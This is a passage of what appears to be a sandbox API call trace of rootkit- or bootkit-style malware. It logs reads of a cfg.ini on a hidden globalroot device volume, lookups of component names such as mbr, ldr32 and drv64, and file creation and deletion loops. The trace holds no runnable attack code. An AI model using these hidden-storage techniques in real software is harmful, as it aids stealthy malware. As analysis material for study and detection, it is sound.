lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.353] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.353] KeEnterCriticalRegion () [0122.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.353] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.353] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.353] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.353] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.353] IdePortDispatch () returned 0x103 [0122.353] KeWaitForMutexObject () returned 0x0 [0122.354] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.354] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.354] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.354] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.354] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.354] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4230 [0122.354] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.354] KeLeaveCriticalRegion () [0122.354] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.354] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.354] KeEnterCriticalRegion () [0122.354] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.354] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.354] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.354] KeLeaveCriticalRegion () [0122.354] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.354] KeEnterCriticalRegion () [0122.354] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.354] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.354] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.354] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.354] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.354] IdePortDispatch () returned 0x103 [0122.354] KeWaitForMutexObject () returned 0x0 [0122.354] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.354] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.354] KeLeaveCriticalRegion () [0122.354] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.354] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.354] KeEnterCriticalRegion () [0122.354] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.354] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c74000 [0122.354] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.354] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.354] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.354] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.355] IdePortDispatch () returned 0x103 [0122.355] KeWaitForMutexObject () returned 0x0 [0122.355] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.355] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.355] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.355] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.355] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.355] IdePortDispatch () returned 0x103 [0122.355] KeWaitForMutexObject () returned 0x0 [0122.355] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.355] KeLeaveCriticalRegion () [0122.355] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.356] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.356] KeEnterCriticalRegion () [0122.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.356] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.356] KeLeaveCriticalRegion () [0122.356] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.356] KeEnterCriticalRegion () [0122.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.356] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.356] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.356] KeLeaveCriticalRegion () [0122.356] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.356] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.356] KeEnterCriticalRegion () [0122.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.356] ExFreePoolWithTag (P=0xfffffa8003be4230, Tag=0x0) [0122.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.356] KeLeaveCriticalRegion () [0122.356] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.356] ReleaseMutex (hMutex=0xf0) returned 1 [0122.356] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.356] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.356] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.356] KeEnterCriticalRegion () [0122.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.356] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.356] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.356] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.356] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.356] IdePortDispatch () returned 0x103 [0122.356] KeWaitForMutexObject () returned 0x0 [0122.356] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.356] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.356] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.357] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.357] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.357] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4180 [0122.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.357] KeLeaveCriticalRegion () [0122.357] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.357] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.357] KeEnterCriticalRegion () [0122.357] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.357] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.357] KeLeaveCriticalRegion () [0122.357] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.357] KeEnterCriticalRegion () [0122.357] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.357] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.357] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.357] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.357] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.357] IdePortDispatch () returned 0x103 [0122.357] KeWaitForMutexObject () returned 0x0 [0122.357] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.357] KeLeaveCriticalRegion () [0122.357] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.357] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.357] KeEnterCriticalRegion () [0122.357] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.357] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c75000 [0122.357] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.357] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.357] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.357] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.357] IdePortDispatch () returned 0x103 [0122.357] KeWaitForMutexObject () returned 0x0 [0122.358] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.358] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.358] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.358] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.358] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.358] IdePortDispatch () returned 0x103 [0122.358] KeWaitForMutexObject () returned 0x0 [0122.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.358] KeLeaveCriticalRegion () [0122.358] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.358] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.359] KeEnterCriticalRegion () [0122.359] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.359] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.359] KeLeaveCriticalRegion () [0122.359] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.359] KeEnterCriticalRegion () [0122.359] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.359] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.359] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.359] KeLeaveCriticalRegion () [0122.359] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.359] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.359] KeEnterCriticalRegion () [0122.359] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.359] ExFreePoolWithTag (P=0xfffffa8003be4180, Tag=0x0) [0122.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.359] KeLeaveCriticalRegion () [0122.359] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.359] ReleaseMutex (hMutex=0xf0) returned 1 [0122.359] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.359] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.359] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.359] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.359] KeEnterCriticalRegion () [0122.359] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.359] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.359] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.359] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.359] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.359] IdePortDispatch () returned 0x103 [0122.359] KeWaitForMutexObject () returned 0x0 [0122.359] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.359] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.359] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.360] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.360] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.360] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.360] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.360] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.360] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.360] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.360] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.360] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.360] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.360] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.360] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.360] KeLeaveCriticalRegion () [0122.360] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.360] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.360] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.360] KeEnterCriticalRegion () [0122.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.360] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.360] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.360] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.360] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.360] IdePortDispatch () returned 0x103 [0122.360] KeWaitForMutexObject () returned 0x0 [0122.360] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.360] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.360] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.360] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.360] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.360] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.360] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.360] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.360] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.360] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.360] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.360] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.360] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.360] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.360] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.360] KeLeaveCriticalRegion () [0122.360] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.361] ReleaseMutex (hMutex=0x100) returned 1 [0122.361] Sleep (dwMilliseconds=0x2bf20) [0122.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c21b950, dwHighDateTime=0x1d24fa4)) [0122.367] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.367] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.367] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.367] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.367] KeEnterCriticalRegion () [0122.367] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.367] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.367] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.367] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.367] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.367] IdePortDispatch () returned 0x103 [0122.367] KeWaitForMutexObject () returned 0x0 [0122.367] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.367] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.367] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.367] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.367] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.367] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5fb0 [0122.367] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.367] KeLeaveCriticalRegion () [0122.367] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.367] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.367] KeEnterCriticalRegion () [0122.367] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.367] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.367] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.367] KeLeaveCriticalRegion () [0122.367] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.367] KeEnterCriticalRegion () [0122.367] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.368] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.368] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.368] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.368] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.368] IdePortDispatch () returned 0x103 [0122.368] KeWaitForMutexObject () returned 0x0 [0122.368] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.368] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.368] KeLeaveCriticalRegion () [0122.368] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.368] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.368] KeEnterCriticalRegion () [0122.368] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.368] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c78000 [0122.368] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.368] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.368] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.368] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: 